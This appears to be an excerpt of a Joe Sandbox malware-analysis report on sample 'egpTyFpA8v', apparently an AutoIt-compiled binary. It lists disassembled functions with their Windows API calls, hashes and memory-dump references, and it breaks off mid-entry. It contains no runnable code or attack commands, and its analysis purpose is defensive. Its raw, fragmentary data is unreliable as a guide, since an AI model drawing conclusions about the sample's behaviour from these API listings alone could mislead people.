Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 04e12b14a9d886a8e2e600ee3e13107049da4a6b544d85895498cde15ac74991
Instruction ID: db81573fb31feb67f07116270f183e11e77e1861341c732e77d299452fa090bb
Opcode Fuzzy Hash: 04e12b14a9d886a8e2e600ee3e13107049da4a6b544d85895498cde15ac74991
Instruction Fuzzy Hash: 4E514E71108204AFD714EF65C885EAFBBE5FF88314F04491EF855872A2DB39D909CB56

Function 004B5799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 004B57FB
GetMenuItemCount.USER32(00000000), ref: 004B5832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004B585A
GetMenuItemID.USER32(?,?), ref: 004B58C9
GetSubMenu.USER32(?,?), ref: 004B58D7
PostMessageW.USER32(?,00000111,?,00000000), ref: 004B5928

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: b2298ba9966a92cff94d6c7263ac9486e1c5e921d2264b274183002b698bc1e7
Instruction ID: 671b33b8e6195a396f5e1669aecaca47a1247113efad201ff336146c764adf39
Opcode Fuzzy Hash: b2298ba9966a92cff94d6c7263ac9486e1c5e921d2264b274183002b698bc1e7
Instruction Fuzzy Hash: 5B517E35E00615EFCF15EF65C845AEEBBB4EF48314F10446AE905BB351CB78AE418BA8

Function 0048EEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0048EF06
VariantClear.OLEAUT32(00000013), ref: 0048EF78
VariantClear.OLEAUT32(00000000), ref: 0048EFD3
_memmove.LIBCMT ref: 0048EFFD
VariantClear.OLEAUT32(?), ref: 0048F04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0048F078

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 05f4e366557a9f9b24a93ab77b684039115a079cc914a439c9ae10c89ccbdcf0
Instruction ID: e95e931b27b41293def412a92d9a6d6bb4af60250d770f19d15f6c9613f102ef
Opcode Fuzzy Hash: 05f4e366557a9f9b24a93ab77b684039115a079cc914a439c9ae10c89ccbdcf0
Instruction Fuzzy Hash: 84516AB5A00209EFCB14DF58C880AAAB7B8FF4D314B15856AED59DB301E334E915CFA4

Function 0049220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00492258
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 004922A3
IsMenu.USER32(00000000), ref: 004922C3
CreatePopupMenu.USER32 ref: 004922F7
GetMenuItemCount.USER32(000000FF), ref: 00492355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00492386

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 26b0cf545d795cd13ab820f5a09f0df121587530da6eb80dd04b3d68a162bff2
Instruction ID: ee41d9ad57ac48b1e9df1c5bb13c2861669730fadf18551cfb004bc432e802f1
Opcode Fuzzy Hash: 26b0cf545d795cd13ab820f5a09f0df121587530da6eb80dd04b3d68a162bff2
Instruction Fuzzy Hash: 8E51AE30600209FBDF31CF68DA88BAEBFF5AF45318F10427AE815A7291D3B89905CB55

Function 00431765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00432612: GetWindowLongW.USER32(?,000000EB), ref: 00432623

BeginPaint.USER32(?,?,?,?,?,?), ref: 0043179A
GetWindowRect.USER32(?,?), ref: 004317FE
ScreenToClient.USER32(?,?), ref: 0043181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0043182C
EndPaint.USER32(?,?), ref: 00431876

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 6d1e3d1f42b9bb7db9fc320a8b5e610491435315b8af1d67fffe173b3efbae59
Instruction ID: d76a123bc0ff705356395e19a82b790cf03d34efff92c8cb0dae4b24016db21c
Opcode Fuzzy Hash: 6d1e3d1f42b9bb7db9fc320a8b5e610491435315b8af1d67fffe173b3efbae59
Instruction Fuzzy Hash: FB419F31504700AFD710EF25CC84FBA7BE8EB49764F04462AFAA4872B1D7349C56DB6A

Function 004BB69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(004F57B0,00000000,00E54A88,?,?,004F57B0,?,004BB5A8,?,?), ref: 004BB712
EnableWindow.USER32(00000000,00000000), ref: 004BB736
ShowWindow.USER32(004F57B0,00000000,00E54A88,?,?,004F57B0,?,004BB5A8,?,?), ref: 004BB796
ShowWindow.USER32(00000000,00000004,?,004BB5A8,?,?), ref: 004BB7A8
EnableWindow.USER32(00000000,00000001), ref: 004BB7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 004BB7EF

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 72598b521a4069b705420464f7d4a44dc08f800f84b16d58a90b58e5738ae059
Instruction ID: cb04806912d3d1b2bdc53491c2562db8b199a207f84a7f934c40bfbf38c4d2a7
Opcode Fuzzy Hash: 72598b521a4069b705420464f7d4a44dc08f800f84b16d58a90b58e5738ae059
Instruction Fuzzy Hash: 04419534600240AFDB21CF24C899BD57BE0FF45310F1841BAF9488F7A2CBB5A856CBA4

Function 004A709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,004A4E41,?,?,00000000,00000001), ref: 004A70AC

Part of subcall function 004A39A0: GetWindowRect.USER32(?,?), ref: 004A39B3

GetDesktopWindow.USER32 ref: 004A70D6
GetWindowRect.USER32(00000000), ref: 004A70DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 004A710F

Part of subcall function 00495244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 004952BC

GetCursorPos.USER32(?), ref: 004A713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 004A7199

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: f494605da67b4f177d9c3a6bdf6cec008a6ac47eb2f79a0045fabd36b50af478
Instruction ID: dcf879b53f4d9db5118dba940de2dd81f45a140805f80f97e2d81cdb4866359e
Opcode Fuzzy Hash: f494605da67b4f177d9c3a6bdf6cec008a6ac47eb2f79a0045fabd36b50af478
Instruction Fuzzy Hash: AC31B472505305ABD720DF14CC49B9BBBE9FF99314F00062AF58997291C674EA09CBDA

Function 00488879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004880A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 004880C0
Part of subcall function 004880A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 004880CA
Part of subcall function 004880A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 004880D9
Part of subcall function 004880A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 004880E0
Part of subcall function 004880A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 004880F6

GetLengthSid.ADVAPI32(?,00000000,0048842F), ref: 004888CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 004888D6
HeapAlloc.KERNEL32(00000000), ref: 004888DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 004888F6
GetProcessHeap.KERNEL32(00000000,00000000,0048842F), ref: 0048890A
HeapFree.KERNEL32(00000000), ref: 00488911

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 2093636edac730c67e3989b551c4833e91737cb5570e49b326d7d10b8be98bdf
Instruction ID: b7870aed429b18e3c97659f3921e8038ae1b33fdd520a07bdf85e57711ccab41
Opcode Fuzzy Hash: 2093636edac730c67e3989b551c4833e91737cb5570e49b326d7d10b8be98bdf
Instruction Fuzzy Hash: F711D2B1501605FFDB10AF98CC09BBF7768EB41311F50492EE84993210CB3A9D04CB64

Function 004885B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 004885E2
OpenProcessToken.ADVAPI32(00000000), ref: 004885E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 004885F8
CloseHandle.KERNEL32(00000004), ref: 00488603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00488632
DestroyEnvironmentBlock.USERENV(00000000), ref: 00488646

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 90e3a2b41b51f82eb96158803deddb0af4ef7cec1aaa30e168f042bd0673d572
Instruction ID: f6be3b756895c3f96136d05b6df6842c27106fc2bf18bcba8b573503138a0cf3
Opcode Fuzzy Hash: 90e3a2b41b51f82eb96158803deddb0af4ef7cec1aaa30e168f042bd0673d572
Instruction Fuzzy Hash: 0B115972500209BBDF019FA8DD49BDF7BA9EF08304F044169FE04A2161C7769D65EB64

Function 0048B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0048B7B5
GetDeviceCaps.GDI32(00000000,00000058), ref: 0048B7C6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0048B7CD
ReleaseDC.USER32(00000000,00000000), ref: 0048B7D5
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0048B7EC
MulDiv.KERNEL32(000009EC,?,?), ref: 0048B7FE

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 9a8675147205cd7b5728f465b28f665ad1fda0e4053c88ba7487b6da5c4069a9
Instruction ID: 3ea944893fc5a3da7d3e21af04600d63655f48df9726506d2a84d55564eb19a4
Opcode Fuzzy Hash: 9a8675147205cd7b5728f465b28f665ad1fda0e4053c88ba7487b6da5c4069a9
Instruction Fuzzy Hash: A2017175E00309BFEF10ABE69C45A5EBFA8EB48311F004176FE08A7291D6309C04CF94

Function 00450162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00450193
MapVirtualKeyW.USER32(00000010,00000000), ref: 0045019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 004501A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 004501B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 004501B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 004501C1

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 1c1389f5f9a5b0afba21de7289f9ecc9f8de28485629925c7305b4d2851af865
Instruction ID: eea781d471832368adc9d55e24dfcdc49d9a20de8dd37078c437cf24f327e788
Opcode Fuzzy Hash: 1c1389f5f9a5b0afba21de7289f9ecc9f8de28485629925c7305b4d2851af865
Instruction Fuzzy Hash: 2F016CB09017597DE3008F5A8C85B52FFA8FF19354F00411BA15C47941C7F5A868CBE5

Function 004953E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 004953F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0049540F
GetWindowThreadProcessId.USER32(?,?), ref: 0049541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0049542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00495437
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0049543E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 09d62cd989ef1e7aef71939168b65707a8015b3a8773043c7687bbfc33925b7e
Instruction ID: 4fcdf6be3c74799959579fe900c98a64c6e645956b9088b314ee1952719380ea
Opcode Fuzzy Hash: 09d62cd989ef1e7aef71939168b65707a8015b3a8773043c7687bbfc33925b7e
Instruction Fuzzy Hash: 09F01D32641558BBE7215BA69C0DEEB7B7CEBCAB11F000279FA08D10519AA51A0687B9

Function 00497230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00497243
EnterCriticalSection.KERNEL32(?,?,00440EE4,?,?), ref: 00497254
TerminateThread.KERNEL32(00000000,000001F6,?,00440EE4,?,?), ref: 00497261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00440EE4,?,?), ref: 0049726E

Part of subcall function 00496C35: CloseHandle.KERNEL32(00000000,?,0049727B,?,00440EE4,?,?), ref: 00496C3F

InterlockedExchange.KERNEL32(?,000001F6), ref: 00497281
LeaveCriticalSection.KERNEL32(?,?,00440EE4,?,?), ref: 00497288

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 9ff539d8e1522470b581f9d755e579b58bd1f14244f093c6b0f9c5f17020fdcd
Instruction ID: b3ff6f2962ed6495aff27199c9574fa92e6bfc2536a4f7faf5cb2ae373d6ca30
Opcode Fuzzy Hash: 9ff539d8e1522470b581f9d755e579b58bd1f14244f093c6b0f9c5f17020fdcd
Instruction Fuzzy Hash: 09F05E36540612EBDB161B64ED4CADB7B29EF45702B1006B2F507950A0CB7A5C05CB58

Function 00488992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0048899D
UnloadUserProfile.USERENV(?,?), ref: 004889A9
CloseHandle.KERNEL32(?), ref: 004889B2
CloseHandle.KERNEL32(?), ref: 004889BA
GetProcessHeap.KERNEL32(00000000,?), ref: 004889C3
HeapFree.KERNEL32(00000000), ref: 004889CA

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 812a234739518f6ab167ce24ea6f197e1148ac0a583ca9bacb5e4406cd255783
Instruction ID: cf1c454f80ad9c11f746e58b73202d35af95f9cdd7e1cb226c02a7340fe63b4b
Opcode Fuzzy Hash: 812a234739518f6ab167ce24ea6f197e1148ac0a583ca9bacb5e4406cd255783
Instruction Fuzzy Hash: 9DE0C276004401FBDA011FE5EC0C90ABBA9FB89322B148730F21981070CB32A828DB58

Function 00487530 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,004C2C7C,?), ref: 004876EA
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,004C2C7C,?), ref: 00487702
CLSIDFromProgID.OLE32(?,?,00000000,004BFB80,000000FF,?,00000000,00000800,00000000,?,004C2C7C,?), ref: 00487727
_memcmp.LIBCMT ref: 00487748

Strings

,,L, xrefs: 0048753D

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID: ,,L
API String ID: 314563124-2286747779
Opcode ID: 089deda58d4d1e1e4cf8c398a329a87cfe8cd84680ce6e4f4f5e0a1f033e4560
Instruction ID: 07271a76de31aa03033335f5927c3553df63c75a1a09cda362ff46b5e01428f6
Opcode Fuzzy Hash: 089deda58d4d1e1e4cf8c398a329a87cfe8cd84680ce6e4f4f5e0a1f033e4560
Instruction Fuzzy Hash: E2814C71A00109EFCB00DFA8C994EEEB7B9FF89315F204559F505AB250DB75AE06CB64

Function 004A85ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 004A8613
CharUpperBuffW.USER32(?,?), ref: 004A8722
VariantClear.OLEAUT32(?), ref: 004A889A

Part of subcall function 00497562: VariantInit.OLEAUT32(00000000), ref: 004975A2
Part of subcall function 00497562: VariantCopy.OLEAUT32(00000000,?), ref: 004975AB
Part of subcall function 00497562: VariantClear.OLEAUT32(00000000), ref: 004975B7

Strings

Incorrect Parameter format, xrefs: 004A864B, 004A880D
AUTOIT.ERROR, xrefs: 004A8728

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 5024eb12674345b9fb504591349bf8290733c6462321e1e38230358a64f9add4
Instruction ID: 5012a50a711c94112b01d46ef9ddd1fb23ff9c35be60de1a0ef252e2c4b1f56d
Opcode Fuzzy Hash: 5024eb12674345b9fb504591349bf8290733c6462321e1e38230358a64f9add4
Instruction Fuzzy Hash: E8917D746043019FCB10EF25C48595BBBE4EF9A718F14492EF88A8B361DB39ED05CB56

Function 00492A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0044FC86: _wcscpy.LIBCMT ref: 0044FCA9

_memset.LIBCMT ref: 00492B87
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00492BB6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00492C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00492C97

Strings

0, xrefs: 00492B73

Memory Dump Source

